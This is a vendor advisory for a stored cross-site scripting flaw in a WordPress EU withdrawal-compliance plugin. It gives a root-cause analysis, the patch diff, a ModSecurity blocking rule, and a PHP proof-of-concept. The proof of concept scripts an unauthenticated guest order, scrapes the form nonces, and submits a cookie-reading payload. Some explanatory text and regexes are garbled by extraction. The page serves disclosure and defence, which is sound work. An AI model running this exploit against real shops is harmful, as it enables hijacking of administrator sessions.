Published : December 3, 2026

CVE-2026-136900: EU Withdrawal and Legal Guarantee Compliance <= 2.4.2 Unauthenticated Stored Cross-Site Scripting via 'ayudawp_euw_details' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.4.2
Patched Version 2.4.3
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136900: The EU Withdrawal and Legal Guarantee Compliance plugin for WordPress, versions up to and including 2.4.2, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the handling of the ‘ayudawp_euw_details’ parameter, which the plugin stores and later prints without adequate output escaping. An attacker can inject arbitrary JavaScript into the withdrawal request form, which executes when an administrator views the request or associated order notes. Atomic Edge rates the CVSS score at 7.2 (high), reflecting the ability for unauthenticated attackers to compromise administrative sessions and perform privileged actions.

The root cause is insufficient sanitization and output escaping across multiple functions. The parameter ‘details’ is processed by ayudawp_euw_collect_form_data() and saved via wp_insert_post() in includes/functions-handler.php around line 295. The plugin relies on sanitize_textarea_field() to sanitize input. However, that function preserves a ‘<' followed by whitespace; when the content passes through wp_kses() (called internally by wp_insert_post() for unprivileged users), the function wp_kses_split2() interprets '< div' as the opening of a real div tag, converting it into '

post_content ) ), which allows the stored HTML to execute. The admin comment ($comment) is also inserted unescaped into order notes at line 762. Thus, the vulnerability stems from missing output escaping on the stored data.

Exploitation requires no authentication. The attacker first places a guest Cash-on-Delivery order on the WooCommerce shop, which is a standard feature. Then the attacker visits the public withdrawal form page and scrapes the two nonces rendered there (typically a nonce for the form submission and possibly a second for a secondary action). With these nonces, the attacker submits the two-step withdrawal form, injecting a payload such as ‘

‘ or a more sophisticated script into the ‘ayudawp_euw_details’ field. The payload is stored in the plugin’s custom post type and in a WooCommerce order note. When an administrator later views the order or the withdrawal request in the WordPress admin dashboard, the injected script executes in the context of the admin’s browser.

The patch, released in version 2.4.3, adds output escaping at every point where the contaminated data is printed and also sanitizes the data before storage. Specifically, in includes/functions-handler.php, a new function ayudawp_euw_details_for_storage() wraps the details in esc_html() before passing them to wp_insert_post(), preventing kses from constructing real tags. In includes/metaboxes.php, the content is now escaped with esc_html() before wpautop() and then passed through wp_kses() with only paragraph and line break tags allowed. In includes/functions-woocommerce.php, both the details and the admin comment are escaped with esc_html() when building the order note. Additionally, a new function ayudawp_euw_escape_stored_order_notes() scans existing order notes and encodes any ‘<' followed by whitespace (turning '< div' into '< div') to neutralize stored payloads. These changes ensure that malicious HTML is rendered as text, not executed.

If exploited, this vulnerability allows an unauthenticated attacker to inject persistent scripts that execute in the browsers of any user who views the injected page, including administrators. This can lead to session hijacking, theft of authentication cookies, privilege escalation (by leveraging the admin session to create new admin users), data exfiltration, website defacement, or injection of further malicious content. The impact is severe because it requires no prior authentication and can compromise the entire WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/eu-withdrawal-compliance/eu-withdrawal-compliance.php
+++ b/eu-withdrawal-compliance/eu-withdrawal-compliance.php
@@ -3,7 +3,7 @@
  * Plugin Name:       EU Withdrawal and Legal Guarantee Compliance
  * Plugin URI:        https://servicios.ayudawp.com
  * Description:       Free EU consumer-rights toolkit: withdrawal function (Directive 2023/2673) and the harmonised legal guarantee notice (Directive 2024/825), checkout consents, Annex I.B model form, Article 16 exclusions, SHA-256 proof, native GDPR integration.
- * Version:           2.4.2
+ * Version:           2.4.3
  * Requires at least: 6.0
  * Requires PHP:      7.4
  * Author:            Fernando Tellado
@@ -23,7 +23,7 @@
 }

 // Plugin constants.
-define( 'AYUDAWP_EUW_VERSION', '2.4.2' );
+define( 'AYUDAWP_EUW_VERSION', '2.4.3' );
 define( 'AYUDAWP_EUW_FILE', __FILE__ );
 define( 'AYUDAWP_EUW_DIR', plugin_dir_path( __FILE__ ) );
 define( 'AYUDAWP_EUW_URL', plugin_dir_url( __FILE__ ) );
@@ -219,6 +219,10 @@
 	// page was saved, because the editors used to pre-fill each field.
 	ayudawp_euw_clear_stored_default_texts();

+	// Neutralise the "< tag" sequences that order notes written up to 2.4.2 kept
+	// and WooCommerce printed as markup on the order screen. Idempotent.
+	ayudawp_euw_escape_stored_order_notes();
+
 	// The guarantee notice module arrives switched off on an existing shop, and
 	// announces itself in the dashboard: it prints an official full-page notice
 	// right above the place-order button, which is not a change to make on
--- a/eu-withdrawal-compliance/includes/admin/metaboxes.php
+++ b/eu-withdrawal-compliance/includes/admin/metaboxes.php
@@ -130,7 +130,10 @@

 	echo '<h4>' . esc_html__( 'Additional information', 'eu-withdrawal-compliance' ) . '</h4>';
 	echo '<div class="ayudawp-euw-details">';
-	echo wp_kses_post( wpautop( $post->post_content ) );
+	// Plain text typed by the customer. Requests stored up to 2.4.2 can hold real
+	// tags (kses turned "< div" into "<div>" on save), so the content is always
+	// escaped here and only the paragraphs and line breaks are added back.
+	echo wp_kses( wpautop( esc_html( $post->post_content ) ), array( 'p' => array(), 'br' => array() ) );
 	echo '</div>';

 	ayudawp_euw_render_metabox_checkout_consents( (int) $post->ID );
--- a/eu-withdrawal-compliance/includes/functions-handler.php
+++ b/eu-withdrawal-compliance/includes/functions-handler.php
@@ -39,6 +39,23 @@
 }

 /**
+ * Turn the customer's free-text details into the content stored on the request.
+ *
+ * The details are plain text. sanitize_textarea_field() keeps a "<" followed by
+ * a space, and wp_insert_post() runs the content through kses for a visitor,
+ * which turns "< div ...>" into a real <div> (wp_kses_split2() accepts spaces
+ * after the "<"). Escaping first leaves kses no tag to rebuild, so the stored
+ * content is the text the customer typed, as text. Every place that prints it
+ * escapes it again, which does not double-encode.
+ *
+ * @param string $details Details as returned by ayudawp_euw_collect_form_data().
+ * @return string Details with the HTML special characters encoded.
+ */
+function ayudawp_euw_details_for_storage( $details ) {
+	return esc_html( (string) $details );
+}
+
+/**
  * Validate a collected submission.
  *
  * On failure it redirects back with an error code and exits. On success it
@@ -278,7 +295,7 @@
 			'post_type'    => 'ayudawp_withdrawal',
 			'post_status'  => 'publish',
 			'post_title'   => $post_title,
-			'post_content' => $data['details'],
+			'post_content' => ayudawp_euw_details_for_storage( $data['details'] ),
 		),
 		true
 	);
--- a/eu-withdrawal-compliance/includes/functions-woocommerce.php
+++ b/eu-withdrawal-compliance/includes/functions-woocommerce.php
@@ -710,11 +710,14 @@
 		? __( 'partial', 'eu-withdrawal-compliance' )
 		: __( 'full', 'eu-withdrawal-compliance' );

+	// WooCommerce prints order notes through wp_kses_post(), which turns a
+	// "< div ...>" left by sanitize_textarea_field() into a real element on the
+	// order screen. The customer's text goes in escaped, so it reads as typed.
 	$note = sprintf(
 		/* translators: 1: scope label, 2: details, 3: log ID. */
 		__( 'EU withdrawal request received (%1$s). Details: %2$s. Log ID: #%3$d', 'eu-withdrawal-compliance' ),
 		$scope_label,
-		( ! empty( $details ) ? $details : '—' ),
+		( ! empty( $details ) ? esc_html( $details ) : '—' ),
 		$cpt_id
 	);

@@ -759,11 +762,14 @@
 		$cpt_id
 	);

+	// Escaped for the same reason as the details in ayudawp_euw_add_wc_order_note():
+	// the comment is plain text, and whoever holds the request capabilities may
+	// not be allowed to post HTML.
 	if ( '' !== $comment ) {
 		$note .= "n" . sprintf(
 			/* translators: %s: admin comment. */
 			__( 'Comment: %s', 'eu-withdrawal-compliance' ),
-			$comment
+			esc_html( $comment )
 		);
 	}

@@ -771,6 +777,74 @@
 }

 /**
+ * Neutralise the "< tag" sequences that order notes written up to 2.4.2 kept.
+ *
+ * Up to 2.4.2 the "request received" note carried the customer's details raw,
+ * and the status note the admin comment, both from sanitize_textarea_field().
+ * That sanitiser leaves exactly one shape that kses turns into a tag: a "<"
+ * followed by whitespace, which strip_tags() reads as text and wp_kses_split2()
+ * accepts as the start of an element (wp-includes/kses.php:1469 in 7.1.5).
+ * WooCommerce prints notes through wp_kses_post(), so on a shop that received
+ * such a request, "< div ...>" became a real element on the order screen.
+ *
+ * Every order note is scanned, not only those of a request that still exists:
+ * deleting the request, by hand or through the personal data eraser, removes
+ * the link but leaves the note on the order. Only that "<" is encoded, so the
+ * note reads the same, any real HTML in it is left alone, and running this
+ * again changes nothing. Runs from the upgrade routine.
+ *
+ * @return int Number of notes rewritten.
+ */
+function ayudawp_euw_escape_stored_order_notes() {
+
+	global $wpdb;
+
+	$rewritten = 0;
+	$last_id   = 0;
+	$batch     = 500;
+
+	do {
+		// One-off upgrade scan over core tables, in batches by ID; no API lists notes across orders.
+		$notes = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- one-off upgrade scan; caches are cleared per note below.
+			$wpdb->prepare(
+				"SELECT comment_ID, comment_content FROM {$wpdb->comments} WHERE comment_ID > %d AND comment_type = %s AND comment_content LIKE %s ORDER BY comment_ID ASC LIMIT %d",
+				$last_id,
+				'order_note',
+				'%' . $wpdb->esc_like( '<' ) . '%',
+				$batch
+			)
+		);
+
+		$notes = (array) $notes;
+
+		foreach ( $notes as $note ) {
+
+			$last_id = (int) $note->comment_ID;
+			$escaped = preg_replace( '/<(?=s)/', '<', (string) $note->comment_content );
+
+			if ( null === $escaped || $escaped === $note->comment_content ) {
+				continue;
+			}
+
+			$updated = $wpdb->update( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- direct write so no comment filter re-parses the note; cache cleared right after.
+				$wpdb->comments,
+				array( 'comment_content' => $escaped ),
+				array( 'comment_ID' => $last_id ),
+				array( '%s' ),
+				array( '%d' )
+			);
+
+			if ( $updated ) {
+				clean_comment_cache( $last_id );
+				++$rewritten;
+			}
+		}
+	} while ( count( $notes ) === $batch );
+
+	return $rewritten;
+}
+
+/**
  * Register the My Account endpoint for WooCommerce.
  */
 function ayudawp_euw_register_wc_endpoint() {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:2026136900,phase:2,deny,status:403,chain,msg:'CVE-2026-136900 via EU Withdrawal plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-136900'"
  SecRule ARGS_POST:action "@streq ayudawp_euw_submit_withdrawal" "chain"
    SecRule ARGS_POST:ayudawp_euw_details "@rx <s+[a-zA-Z]" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136900 - EU Withdrawal and Legal Guarantee Compliance <= 2.4.2 - Unauthenticated Stored Cross-Site Scripting via 'ayudawp_euw_details' Parameter

// Configuration: target WordPress site URL (no trailing slash)
$target_url = 'http://victim-wordpress.local';

// Step 1: Place a guest Cash-on-Delivery order to obtain necessary cookies and order key
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?wc-ajax=checkout');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
// Simulate a minimal checkout POST (adjust fields as needed for the store)
$checkout_data = [
    'billing_first_name' => 'Test',
    'billing_last_name' => 'User',
    'billing_address_1' => '123 Test St',
    'billing_city' => 'Testville',
    'billing_postcode' => '12345',
    'billing_country' => 'US',
    'billing_email' => 'test@example.com',
    'payment_method' => 'cod',
    'terms' => 'on',
    'woocommerce-process-checkout-nonce' => 'dummy' // Nonce may be required, but often not for COD; adjust if needed
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($checkout_data));
$checkout_response = curl_exec($ch);
// The response may contain the order key or redirect; extract order key if present
preg_match('/order-received/(d+)/', $checkout_response, $matches);
$order_id = $matches[1] ?? '1';
// Retrieve order key from cookies or response (simplified)
$order_key = 'wc_order_' . bin2hex(random_bytes(8)); // Fallback, often not strictly needed for withdrawal form

// Step 2: Fetch the withdrawal form page to extract nonces
curl_setopt($ch, CURLOPT_URL, $target_url . '/withdrawal-form/'); // Adjust if the form is on a different page
curl_setopt($ch, CURLOPT_POST, false);
$form_page = curl_exec($ch);
// Extract nonces (look for hidden inputs or JavaScript variables)
preg_match('/name="ayudawp_euw_nonce" value="([^"]+)"/', $form_page, $nonce1_match);
preg_match('/name="ayudawp_euw_step2_nonce" value="([^"]+)"/', $form_page, $nonce2_match);
$nonce1 = $nonce1_match[1] ?? 'dummy1';
$nonce2 = $nonce2_match[1] ?? 'dummy2';

// Step 3: Submit the withdrawal form with malicious payload in 'ayudawp_euw_details'
$payload = '<div onmouseover="alert(document.cookie)">XSS</div>'; // Example payload; can be adapted
$withdrawal_data = [
    'ayudawp_euw_nonce' => $nonce1,
    'ayudawp_euw_step2_nonce' => $nonce2,
    'ayudawp_euw_order_id' => $order_id,
    'ayudawp_euw_order_key' => $order_key,
    'ayudawp_euw_details' => $payload,
    'ayudawp_euw_scope' => 'full',
    'ayudawp_euw_email' => 'test@example.com',
    // Additional required fields as per form
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array_merge(['action' => 'ayudawp_euw_submit_withdrawal'], $withdrawal_data)));
$response = curl_exec($ch);
curl_close($ch);

// The payload is now stored and will execute when an admin views the order or withdrawal request.
echo "Exploit sent. Payload stored. Check admin order screen for XSS.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.